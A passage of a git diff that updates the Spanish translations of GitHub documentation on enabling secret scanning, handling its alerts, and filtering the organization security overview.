-intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets.'
+title: Configurar el escaneo de secretos para tus repositorios
+intro: 'Puedes configurar la forma en que {% data variables.product.prodname_dotcom %} escanea tus repositorios para encontrar secretos.'
 permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning %} for the repository.'
 redirect_from:
   - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories
@@ -17,7 +17,7 @@ topics:
   - Secret scanning
   - Advanced Security
   - Repositories
-shortTitle: Configure secret scans
+shortTitle: Configurar escaneos de secretos
 ---
 
 {% data reusables.secret-scanning.beta %}
@@ -26,66 +26,61 @@ shortTitle: Configure secret scans
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** {% data variables.product.prodname_secret_scanning_caps %} is enabled by default on public repositories and cannot be turned off. You can configure {% data variables.product.prodname_secret_scanning %} for your private repositories only.
+**Nota:** El {% data variables.product.prodname_secret_scanning_caps %} se habilita predeterminadamente en los repositorios públicos y no puede apagarse. Puedes configurar el {% data variables.product.prodname_secret_scanning %} solo para tus repositorios privados.
 
 {% endnote %}
 {% endif %}
 
-## Enabling {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %}private {% endif %}repositories
+## Habilitar el {% data variables.product.prodname_secret_scanning %} para los repositorios {% ifversion fpt or ghec %}privados {% endif %}
 
 {% ifversion ghes or ghae %}
-You can enable {% data variables.product.prodname_secret_scanning %} for any repository that is owned by an organization. 
-{% endif %} Once enabled, {% data reusables.secret-scanning.secret-scanning-process %}
+Puedes habilitar el {% data variables.product.prodname_secret_scanning %} para cualquier repositorio que pertenezca a una organización.
+{% endif %} Una vez habilitado, {% data reusables.secret-scanning.secret-scanning-process %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
-   {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png)
+4. Si aún no se ha habilitado la {% data variables.product.prodname_advanced_security %} para el repositorio, haz clic en **Habilitar** a la derecha de "{% data variables.product.prodname_GH_advanced_security %}".
+   {% ifversion fpt or ghec %}![Habilitar la {% data variables.product.prodname_GH_advanced_security %} para tu repositorio](/assets/images/help/repository/enable-ghas-dotcom.png)
    {% elsif ghes > 3.0 or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %}
-5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**.
-6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. 
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png)
+5. Revisa el impacto de habilitar la {% data variables.product.prodname_advanced_security %} y luego haz clic en **Habilitar la {% data variables.product.prodname_GH_advanced_security %} para este repositorio**.
+6. Cuando habilitas la {% data variables.product.prodname_advanced_security %}, puede que el {% data variables.product.prodname_secret_scanning %} se habilite en el repositorio debido a la configuración de la organización. Si se muestra "{% data variables.product.prodname_secret_scanning_caps %}" con un botón de **Habilitar**, aún necesitarás habilitar el {% data variables.product.prodname_secret_scanning %} si das clic en **Habilitar**. Si ves un botón de **Inhabilitar**, entonces el {% data variables.product.prodname_secret_scanning %} ya se encuentra habilitado. ![Habilitar el {% data variables.product.prodname_secret_scanning %} para tu repositorio](/assets/images/help/repository/enable-secret-scanning-dotcom.png)
    {% elsif ghes = 3.0 %}
-7. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-ghe.png)
+7. A la derecha de "{% data variables.product.prodname_secret_scanning_caps %}", da clic en **Habilitar**. ![Habilitar el {% data variables.product.prodname_secret_scanning %} para tu repositorio](/assets/images/help/repository/enable-secret-scanning-ghe.png)
    {% endif %}
 {% ifversion ghae %}
-1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png)
-2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action.
-   ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png)
-3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png)
+1. Antes de que puedas habilitar el {% data variables.product.prodname_secret_scanning %}, necesitas habilitar primero la {% data variables.product.prodname_GH_advanced_security %}. A la derecha de "{% data variables.product.prodname_GH_advanced_security %}", da clic en **Habilitar**. ![Habilitar la {% data variables.product.prodname_GH_advanced_security %} para tu repositorio](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png)
+2. Da clic en **Habilitar la {% data variables.product.prodname_GH_advanced_security %} para este repositorio** para confirmar la acción. ![Confirmar la habilitación de la {% data variables.product.prodname_GH_advanced_security %} para tu repositorio](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png)
+3. A la derecha de "{% data variables.product.prodname_secret_scanning_caps %}", da clic en **Habilitar**. ![Habilitar el {% data variables.product.prodname_secret_scanning %} para tu repositorio](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png)
 {% endif %}
 
-## Excluding alerts from {% data variables.product.prodname_secret_scanning %} in {% ifversion fpt or ghec %}private {% endif %}repositories
+## Excluir alertas del {% data variables.product.prodname_secret_scanning %} en los repositorios {% ifversion fpt or ghec %}privados {% endif %}
 
-You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content.
+Puedes utilizar un archivo *secret_scanning.yml* para excluir los directorios de {% data variables.product.prodname_secret_scanning %}. Por ejemplo, puedes excluir directorios que contengan pruebas o contenido generado aleatoriamente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field, type *.github/secret_scanning.yml*.
-4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}.
+3. En el campo de nombre del archivo, teclea *.github/secret_scanning.yml*.
+4. Debajo de **Editar nuevo archivo**, teclea `paths-ignore:` seguido por las rutas que quieras excluir de {% data variables.product.prodname_secret_scanning %}.
     ``` yaml
     paths-ignore:
       - "foo/bar/*.js"
     ```
-    
-    You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)."
+
+    Puedes utilizar caracteres especiales, tales como `*` para filtrar las rutas. Para obtener más información acerca de filtrar las rutas, consulta la sección "[Sintaxis de flujo de trabajo para GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)".
 
     {% note %}
-    
-    **Notes:**
-    - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans.
-    - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file.
-    
+
+    **Notas:**
+    - Si hay más de 1,000 entradas en `paths-ignore`, {% data variables.product.prodname_secret_scanning %} solo excluirá de los escaneos a los primeros 1,000 directorios.
+    - Si *secret_scanning.yml* es mayor a 1 MB, {% data variables.product.prodname_secret_scanning %} ignorará todo el archivo.
+
     {% endnote %}
 
-You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)."
+También puedes ignorar alertas individuales de {% data variables.product.prodname_secret_scanning %}. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)".
 
-## Further reading
+## Leer más
 
-- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
-{% ifversion fpt or ghes > 3.1 or ghae or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %}
+- "[Administrar la seguridad y la configuración de análisis para tu organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}- "[Definir patrones personalizados para el {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %}
diff --git a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
index b148ac4d78..40dbeca80e 100644
--- a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
+++ b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Managing alerts from secret scanning
-intro: You can view and close alerts for secrets checked in to your repository.
+title: Administrar las alertas del escaneo de secretos
+intro: Puedes ver y cerrar las alertas para los secretos que se hayan revisado en tu repositorio.
 product: '{% data reusables.gated-features.secret-scanning %}'
 redirect_from:
   - /github/administering-a-repository/managing-alerts-from-secret-scanning
@@ -16,51 +16,51 @@ topics:
   - Advanced Security
   - Alerts
   - Repositories
-shortTitle: Manage secret alerts
+shortTitle: Administrar las alertas de los secretos
 ---
 
 {% data reusables.secret-scanning.beta %}
 
-## Managing {% data variables.product.prodname_secret_scanning %} alerts
+## Administrar las alertas del {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-1. In the left sidebar, click **Secret scanning alerts**.
+1. En la barra lateral izquierda, haz clic en **Alertas del escaneo de secretos**.
    {% ifversion fpt or ghes or ghec %}
-   !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png)
+   ![Pestaña de "Alertas del escaneo de secretos"](/assets/images/help/repository/sidebar-secrets.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
+   ![Pestaña de "Alertas del escaneo de secretos"](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
    {% endif %}
-1. Under "Secret scanning" click the alert you want to view.
+1. Debajo de "Escaneo de secretos" da clic en la alerta que quieras ver.
    {% ifversion fpt or ghec %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png)
+   ![Lista de alertas del escaneo de secretos](/assets/images/help/repository/secret-scanning-click-alert.png)
    {% endif %}
    {% ifversion ghes %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
+   ![Lista de alertas del escaneo de secretos](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
    {% endif %}
    {% ifversion ghae %}
-   ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
+   ![Lista de alertas del escaneo de secretos](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
    {% endif %}
-1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert.
+1. Opcionalmente, selecciona el menú desplegable de {% ifversion fpt or ghec %}"Cerrar como"{% elsif ghes or ghae %}"Marcar como"{% endif %} y haz clic en la razón para resolver una alerta.
    {% ifversion fpt or ghec %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png)
+   ![Menú desplegable para resolver una alerta del escaneo de secretos](/assets/images/help/repository/secret-scanning-resolve-alert.png)
    {% endif %}
    {% ifversion ghes or ghae %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
+   ![Menú desplegable para resolver una alerta del escaneo de secretos](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
    {% endif %}
 
-## Securing compromised secrets
+## Asegurar los secretos en riesgo
 
-Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
+Cuando un secreto se haya confirmado en un repositorio, deberás considerarlo en riesgo. {% data variables.product.prodname_dotcom %} recomienda tomar las siguientes acciones para los secretos puestos en riesgo:
 
-- For a compromised {% data variables.product.prodname_dotcom %} personal access token, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a personal access token for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
-- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
+- Para un token de acceso personal de {% data variables.product.prodname_dotcom %} comprometido, elimina el token comprometido, crea un nuevo token y actualiza todo servicio que use el token antiguo. Para obtener más información, consulta la sección "[Crear un token de acceso personal para la línea de comandos](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)".
+- Para todos los demás secretos, verifica primero que aquellos que se hayan confirmado en {% data variables.product.product_name %} sean válidos. De ser así, crea un secreto nuevo, actualiza cualquier servicio que utilice el secreto anterior, y luego bórralo.
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4910 or ghec %}
-## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts
+## Configurar las notificaciones para las alertas del {% data variables.product.prodname_secret_scanning %}
 
-When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
+Cuando se detecta un secreto nuevo, {% data variables.product.product_name %} notifica a todos los usuarios con acceso a las alertas de seguridad del repositorio de acuerdo con sus preferencias de notificación. Recibirás alertas si estás observando el repositorio, si habilitaste las notificaciones para las alertas de seguridad o para toda la actividad del repositorio, si eres el autor de la confirmación que contiene el secreto y si no estás ignorando el repositorio.
 
-For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+Para obtener más información, consulta las secciones "[Administrar la seguridad y configuración de análisis para tu repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" y "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 {% endif %}
diff --git a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md
index 16d8b25dda..de6bff4a87 100644
--- a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md
+++ b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md
@@ -1,6 +1,6 @@
 ---
-title: About the security overview
-intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
+title: Acerca del resumen de seguridad
+intro: 'Puedes ver, filtrar y clasificar las alertas de seguridad para los repositorios que pertenezcan a tu organización o equipo en un solo lugar: la página de Resumen de Seguridad.'
 product: '{% data reusables.gated-features.security-center %}'
 redirect_from:
   - /code-security/security-overview/exploring-security-alerts
@@ -16,52 +16,51 @@ topics:
   - Alerts
   - Organizations
   - Teams
-shortTitle: About security overview
+shortTitle: Acerca del resumen de seguridad
 ---
 
 {% data reusables.security-center.beta %}
 
-## About the security overview
+## Acerca del resumen de seguridad
 
-You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
+Puedes utilizar el resumen de seguirdad para tener una vista de nivel alto del estado de seguridad de tu organización o para identificar repositorios problemáticos que requieren intervención. A nivel organizacional, el resumen de seguridad muestra seguridad agregada y específica del repositorio para aquellos que pertenezcan a tu organización. A nivel de equipo, el resumen de seguridad muestra la información de seguridad específica del repositorio para aquellos en los que el equipo tenga privilegios de administración. Para obtener más información, consulta la sección "[Administrar el acceso de un equipo a un repositorio organizacional](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)".
 
-The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
+El resumen de seguridad indica si se encuentran habilitadas las características de {% ifversion fpt or ghes > 3.1 or ghec %}seguridad{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} para los repositorios que pertenecen a tu organización y consolida las alertas para cada característica.{% ifversion fpt or ghes > 3.1 or ghec %} Las características de seguridad incluyen aquellas de {% data variables.product.prodname_GH_advanced_security %}, como el {% data variables.product.prodname_code_scanning %} y el {% data variables.product.prodname_secret_scanning %}, así como las {% data variables.product.prodname_dependabot_alerts %}.{% endif %} Para obtener más información sobre las características de la {% data variables.product.prodname_GH_advanced_security %}, consulta la sección "[Acerca de la {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)".{% ifversion fpt or ghes > 3.1 or ghec %} Para obtener más información sobre las {% data variables.product.prodname_dependabot_alerts %}, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)".{% endif %}
 
-For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
+Para obtener más información sobre cómo proteger tu código a nivel de repositorio u organización, consulta las secciones "[Proteger tu repositorio](/code-security/getting-started/securing-your-repository)" y "[Proteger tu organización](/code-security/getting-started/securing-your-organization)".
 
-In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts.
+En el resumen de seguridad, puedes ver, clasificar y filtrar las alertas para entender los riesgos de seguridad en tu organización y en los repositorios específicos. Puedes aplicar varios filtros para enfocarte en áreas de interés. Por ejemplo, puedes identificar repositorios privados que tengan una gran cantidad de {% data variables.product.prodname_dependabot_alerts %} o repositorios que no tengan alertas del {% data variables.product.prodname_code_scanning %}.
 
-![The security overview for an organization](/assets/images/help/organizations/security-overview.png)
+![El resumen de seguridad para una organziación](/assets/images/help/organizations/security-overview.png)
 
-For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out.
+Para cada repositorio en el resumen de seguridad, verás iconos de cada tipo de característica de seguridad y cuántas alertas hay para cada tipo. Si no se habilita una característica de seguridad para un repositorio, su icono se mostrará en gris.
 
-![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png)
+![Los iconos en el resumen de seguridad](/assets/images/help/organizations/security-overview-icons.png)
 
-| Icon | Meaning |
-| -------- | -------- |
-| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." |
-| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." |
-| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." |
-| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
-| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
+| Icono                                                         | Significado                                                                                                                                                                                                                                               |
+| ------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% octicon "code-square" aria-label="Code scanning alerts" %} | Alertas de {% data variables.product.prodname_code_scanning_capc %}. Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)".          |
+| {% octicon "key" aria-label="Secret scanning alerts" %}       | alertas del {% data variables.product.prodname_secret_scanning_caps %}. Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)". |
+| {% octicon "hubot" aria-label="Dependabot alerts" %}          | {% data variables.product.prodname_dependabot_alerts %}. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)".  |
+| {% octicon "check" aria-label="Check" %}                      | La característica de seguridad se habilitó pero no levanta alertas en este repositorio.                                                                                                                                                                   |
+| {% octicon "x" aria-label="x" %}                              | La característica de seguridad no es compatible con este repositorio.                                                                                                                                                                                     |
 
-By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)."
+Predeterminadamente, los repositorios archivados se excluyen del resumen de seguridad de una organización. Puedes aplicar filtros para ver los repositorios archivados en el resumen de seguridad. Para obtener más información, consulta la sección "[Filtrar la lista de alertas](#filtering-the-list-of-alerts)".
 
-The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
+El resumen de seguridad muestra alertas activas que levantan las características de seguridad. Si no hay alertas en el resumen de seguridad de un repositorio, las vulnerabilidades de seguridad no detectadas o los errores de código podrían aún existir.
 
-## Viewing the security overview for an organization
+## Visualizar el resumen de seguridad de una organización
 
-Organization owners can view the security overview for an organization.
+Los propietarios de las organizaciones pueden ver el resumen de seguridad de estas.
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.security-overview %}
-1. To view aggregate information about alert types, click **Show more**.
-  ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png)
+1. Para ver la información agregada sobre los tipos de alerta, haz clic en **Mostrar más**. ![Botón de mostrar más](/assets/images/help/organizations/security-overview-show-more-button.png)
 {% data reusables.organizations.filter-security-overview %}
 
-## Viewing the security overview for a team
+## Visualizar el resumen de seguridad de un equipo
 
-Members of a team can see the security overview for repositories that the team has admin privileges for.
+Los miembros de un equipo pueden ver el resumen de seguridad de los repositorios para los cuales dicho equipo tiene privilegios administrativos.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -69,70 +68,69 @@ Members of a team can see the security overview for repositories that the team h
 {% data reusables.organizations.team-security-overview %}
 {% data reusables.organizations.filter-security-overview %}
 
-## Filtering the list of alerts
+## Filtrar la lista de alertas
 
-### Filter by level of risk for repositories
+### Filtrar por nivel de riesgo para los repositorios
 
-The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
+El nivel de riesgo de un repositorio se determina por la cantidad y severidad de las alertas de las características de seguridad. Si no están habilitadas una o más características de seguridad para un repositorio, este tendrá un nivel de riesgo desconocido. Si un repositorio no tiene riesgos que detecten las características de seguridad, este tendrá un nivel de riesgo claro.
 
-| Qualifier | Description |
-| -------- | -------- |
-| `risk:high` | Display repositories that are at high risk. |
-| `risk:medium` | Display repositories that are at medium risk. |
-| `risk:low` | Display repositories that are at low risk. |
-| `risk:unknown` | Display repositories that are at an unknown level of risk. |
-| `risk:clear` | Display repositories that have no detected level of risk. |
+| Qualifier      | Descripción                                                          |
+| -------------- | -------------------------------------------------------------------- |
+| `risk:high`    | Muestra los repositorios que tienen un riesgo alto.                  |
+| `risk:medium`  | Muestra los repositorios que tienen un riesgo medio.                 |
+| `risk:low`     | Muestra los repositorios que tienen un nivel de riesgo bajo.         |
+| `risk:unknown` | Muestra los repositorios que tienen un nivel de riesgo desconocido.  |
+| `risk:clear`   | Muestra los repositorios que no tienen un nivel de riesgo detectado. |
 
-### Filter by number of alerts
+### Filtra por cantidad de alertas
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>code-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>secret-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>dependabot-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use &gt and &lt comparison operators. |
+| Qualifier                 | Descripción                                                                                                                                                                           |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>code-scanning-alerts:<em>n</em></code> | Muestra los repositorios que tienen *n* alertas del {% data variables.product.prodname_code_scanning %}. Este calificador puede utilizar los operadores de comparación &gt y &lt.   |
+| <code>secret-scanning-alerts:<em>n</em></code> | Muestra los repositorios que tienen *n* alertas del {% data variables.product.prodname_secret_scanning %}. Este calificador puede utilizar los operadores de comparación &gt y &lt. |
+| <code>dependabot-alerts:<em>n</em></code> | Muestra los repositorios que tienen *n* {% data variables.product.prodname_dependabot_alerts %}. Este calificador puede utilizar los operadores de comparación &gt y &lt.           |
 
-### Filter by whether security features are enabled
+### Filtrar por el criterio de tener habilitadas las características de seguridad
 
-| Qualifier | Description |
-| -------- | -------- |
-| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
-| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
-| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
-| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
+| Qualifier                       | Descripción                                                                                                       |
+| ------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
+| `enabled:code-scanning`         | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_code_scanning %}.          |
+| `not-enabled:code-scanning`     | Muestra los repositorios que no tienen habilitado el {% data variables.product.prodname_code_scanning %}.       |
+| `enabled:secret-scanning`       | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_secret_scanning %}.        |
+| `not-enabled:secret-scanning`   | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_secret_scanning %}.        |
+| `enabled:dependabot-alerts`     | Muestra los repositorios que tienen habilitadas las {% data variables.product.prodname_dependabot_alerts %}.    |
+| `not-enabled:dependabot-alerts` | Muestra los repositorios que no tienen habilitadas las {% data variables.product.prodname_dependabot_alerts %}. |
 
-### Filter by repository type
+### Filtrar por tipo de repositorio
 
-| Qualifier | Description |
-| -------- | -------- |
+| Qualifier | Descripción |
+| --------- | ----------- |
+|           |             |
 {%- ifversion fpt or ghes > 3.1 or ghec %}
-| `is:public` | Display public repositories. |
+| `is:public` | Muestra los repositorios públicos. |
 {% elsif ghes or ghec or ghae %}
-| `is:internal` | Display internal repositories. |
+| `is:internal` | Muestra los repositorios internos. |
 {%- endif %}
-| `is:private` | Display private repositories. |
-| `archived:true` | Display archived repositories. |
-| `archived:true` | Display archived repositories. |
+| `is:private` | Muestra repositorios privados. | | `archived:true` | Muestra repositorios archivados. | | `archived:true` | Muestra repositorios archivados. |
 
-### Filter by team
+### Filtrar por equipo
 
-| Qualifier | Description |
-| -------- | -------- |
